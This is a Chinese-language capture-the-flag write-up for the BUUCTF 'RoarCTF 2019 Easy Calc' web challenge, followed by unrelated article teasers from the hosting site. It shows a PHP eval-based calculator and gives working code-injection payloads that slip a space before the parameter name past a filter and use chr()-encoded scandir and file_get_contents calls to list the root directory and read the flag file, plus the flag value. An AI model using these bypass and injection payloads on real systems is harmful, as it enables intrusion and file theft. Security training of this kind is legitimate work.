buuctf-web-[RoarCTF 2019]Easy Calc1

news2024/11/15 11:11:08

打开环境

发现一个类似计算器的东西

尝试一些常规的测试参数

尝试单引号发现提示,但是并未报错,非sql注入

查看源代码

找到一段JavaScript脚本

<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

访问calc.php

发现源代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

需要对num进行传参,并且有黑名单,需要进行绕过

尝试payload

http://node4.buuoj.cn:26562/calc.php?num=1;var_dump(scandir(chr(47)))

进行修改

http://node4.buuoj.cn:26562/calc.php? num=1;var_dump(scandir(chr(47)))

num参数禁止传入字母,可以在问号和num之间加入空格进行绕过

var_dump()用来打印

scandir()用来获扫描目录下文件

chr(47)是“/”的ASCII编码

进行内容读取的payload

http://node4.buuoj.cn:26562/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法

chr(47)是/的ASCII编码

chr(102)是f的ASCII编码

chr(49)是1的ASCII编码

chr(97)是a的ASCII编码

chr(103)是g的ASCII编码

flag{af9d35dd-c8bc-4185-968c-983d75685794}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/171213.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

业务-研发一体化管理平台,存在吗?

伴随着互联网在中国进程的发展&#xff0c;线上研发效能及业务应用软件也不落后于时代进步的脚步&#xff0c;中国软件行业从未停止过持续的创新。 2022年&#xff0c;业务应用开发正在简化&#xff0c;研发效能也在提升&#xff0c;其中不得不提软件在协同促进、研发一体化管…

Java 23种设计模式的分类和使用场景

听说过GoF吧&#xff1f; GoF是设计模式的经典名著Design Patterns: Elements of Reusable Object-Oriented Software&#xff08;中译本名为《设计模式——可复用面向对象软件的基础》&#xff09;的四位作者&#xff0c;他们分为是&#xff1a;Elich Gamma、Richard Helm、R…

MyBatis Plus

概述MyBatis-Plus MyBatis-Plus简称 MP是一个 MyBatis的增强工具&#xff0c;在 MyBatis 的基础上只做增强不做改变&#xff0c;为简化开 发、提高效率而生 官方文档&#xff1a;https://baomidou.com/ Hello MP 添加依赖 <!-- 如果没有整合SpringBoot&#xff0c;则需要…

python-MySQL数据库基础(二)操作数据库、数据表进行增删改查、分组、排序、连接

操作数据库(DDL) Cmder是一个软件包&#xff0c;它被创建出来用于Windows上替代模拟器的&#xff0c;cmder官网&#xff1a;https://cmder.net/&#xff0c;安装完成后把安装目录下的bin文件夹添加到环境变量里才能正常使用&#xff08;跟安装python类似&#xff09;。 连接数…

85.机器翻译与数据集

语言模型是自然语言处理的关键&#xff0c; 而机器翻译是语言模型最成功的基准测试。 因为机器翻译正是将输入序列转换成输出序列的 序列转换模型&#xff08;sequence transduction&#xff09;的核心问题。 序列转换模型在各类现代人工智能应用中发挥着至关重要的作用&#x…

Linux常用命令——traceroute命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) traceroute 显示数据包到主机间的路径 补充说明 traceroute命令用于追踪数据包在网络上的传输时的全部路径&#xff0c;它默认发送的数据包大小是40字节。 通过traceroute我们可以知道信息从你的计算机到互联网…

若依项目启动前后端分离版本

若依项目的启动 1、下载源码 git clone https://gitee.com/y_project/RuoYi-Vue.git拉取代码、解压解压后 项目结构&#xff1a; 2、项目依赖 1、前端的依赖 2、后端的依赖 模块化&#xff1a; 依赖&#xff1a; 3、项目配置 1、前端配置 查看package.json 文件、能看到…

【Kubernetes】 从基础认识 k8s核心pod相关概念

基础 提示:此篇帮助朋友们,养成从0到1不断延伸知识的一种方法 最简单的创建pod入手 访问官方文档,直接使用案例,进行修改即可! 官网地址:https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/assign-pods-nodes/删除不需要的部分,根据规则添加需要的参数…

[oeasy]python0053_ 续行符_line_continuation_python行尾续行

续行符与三引号 回忆上次内容 上次还是转义序列 类型英文符号\abell响铃\bbackspace退格\ttab水平制表符\vvertical tab垂直制表符换行不回车\\backslash反斜杠\"double quote双引号\’single quote单引号\xhh具体字符输出(hh)16 进制对应的ascii 字符\ooo具体字符输出…

TDengine 时序数据特色查询语法详解,助力时序场景下的应用开发

小 T 导读&#xff1a;TDengine 是专为时序数据而研发的大数据平台&#xff0c;存储和计算都针对时序数据的特点量身定制&#xff0c;在支持标准 SQL 的基础之上&#xff0c;还提供了一系列贴合时序业务场景的特色查询语法&#xff0c;极大地方便了时序场景的应用开发。TDengin…

Java 里面 @InitBinder注解的使用原理

目录 1 @InitBinder注解作用1.1绑定同属性多对象1.2 类型转换2 总结1 @InitBinder注解作用 1.1绑定同属性多对象 第一个作用: 绑定同属性多对象 什么意思,就是有一个接口,参数是两个实体类,这两个实体类里面的属性名称还是一样,那么前端给这个接口传值的时候,哪个参数…

JavaEE day3 初识web与HTML 2

HTML HTML&#xff1a; 1.由标签&#xff08;tag&#xff09;组成的一棵树形结构&#xff0c;由于标签处于一棵树上&#xff0c;有时候也用元素&#xff08;element&#xff09;或者结点&#xff08;node&#xff09;表示 2.基本结构&#xff1a;html包括head与body两部分&a…

HummerRisk V0.9.0:增加RBAC 拓扑图,云检测、漏洞、主机等模块增加规则

HummerRisk V0.9.0发布&#xff1a;增加RBAC 资源拓扑图&#xff0c;首页新增检查的统计数据&#xff0c;云检测、漏洞、主机等模块增加规则&#xff0c;对象存储增加京东云&#xff0c;操作审计增加金山云&#xff0c;镜像仓库新增设置别名。 感谢社区中小伙伴们的反馈&#…

40 个定时任务,带你理解 RocketMQ 设计精髓!

大家好&#xff0c;我是君哥。今天来分享 RocketMQ 的定时任务。通过这些定时任务&#xff0c;能让我们更加理解 RocketMQ 的消息处理机制和设计理念。从 RocketMQ 4.9.4 的源代码上看&#xff0c;RocketMQ 的定时任务有很多&#xff0c;今天主要讲解一些核心的定时任务。1 架构…

智云通CRM:如何做好销售复盘,提升业绩?

我们在销售拜访中经常听见客户这样说&#xff1a;“不好意思啊&#xff0c;洛经理&#xff0c;我最近没有时间&#xff0c;等过一段时间不忙了&#xff0c;我们再约。”“洛经理&#xff0c;谢谢你大老远跑一趟&#xff0c;给我介绍这个产品。我很满意&#xff0c;不过我需要和…

RPC框架泛调用原理及转转的实践

RPC框架泛化调用功能在网关、接口测试等场景下有着广泛的需求&#xff0c;本文给各位读者介绍一下主流的泛化调用实现方式及原理&#xff0c;比较各种实现方案的优缺点&#xff0c;并分享泛化调用在转转的实践。一方面有助于RPC框架使用方理解泛化调用&#xff0c;更好地使用泛…

论文投稿指南——中文核心期刊推荐(原子能技术)

【前言】 &#x1f680; 想发论文怎么办&#xff1f;手把手教你论文如何投稿&#xff01;那么&#xff0c;首先要搞懂投稿目标——论文期刊 &#x1f384; 在期刊论文的分布中&#xff0c;存在一种普遍现象&#xff1a;即对于某一特定的学科或专业来说&#xff0c;少数期刊所含…

spring mvc配置类简介及放静态资源释放

配置文件ApplicationContext.xml 基于spring的项目资源都是通过DispatcherServlet作为拦截器&#xff0c;DispatcherServlet是前置控制器&#xff0c;配置在web.xml文件中的。拦截匹配的请求&#xff0c;Servlet拦截匹配规则要自己定义&#xff0c;把拦截下来的请求&#xff0…

JS中Math.random()方法的使用总结

&#x1f525; 前言 Math.random() 这个方法相信大家都知道&#xff0c;是用来生成随机数的。不过一般的参考手册时却没有说明如何用这个方法来生成指定范围内的随机数。下面就来详细的介绍一下Math.random()&#xff0c;以及如何用它来生成制定范围内的随机数。 &#x1f525…

位运算__

异或运算相同为0&#xff0c;不同为1&#xff0c;相当于无进位相加0 ^ N NN ^ N 0异或运算满足交换律和结合律一、打印一个数的二进制题目打印一个数的二进制代码package bitoperation;public class PrintBinary {public static void printBinary(int num) {for (int i 32; …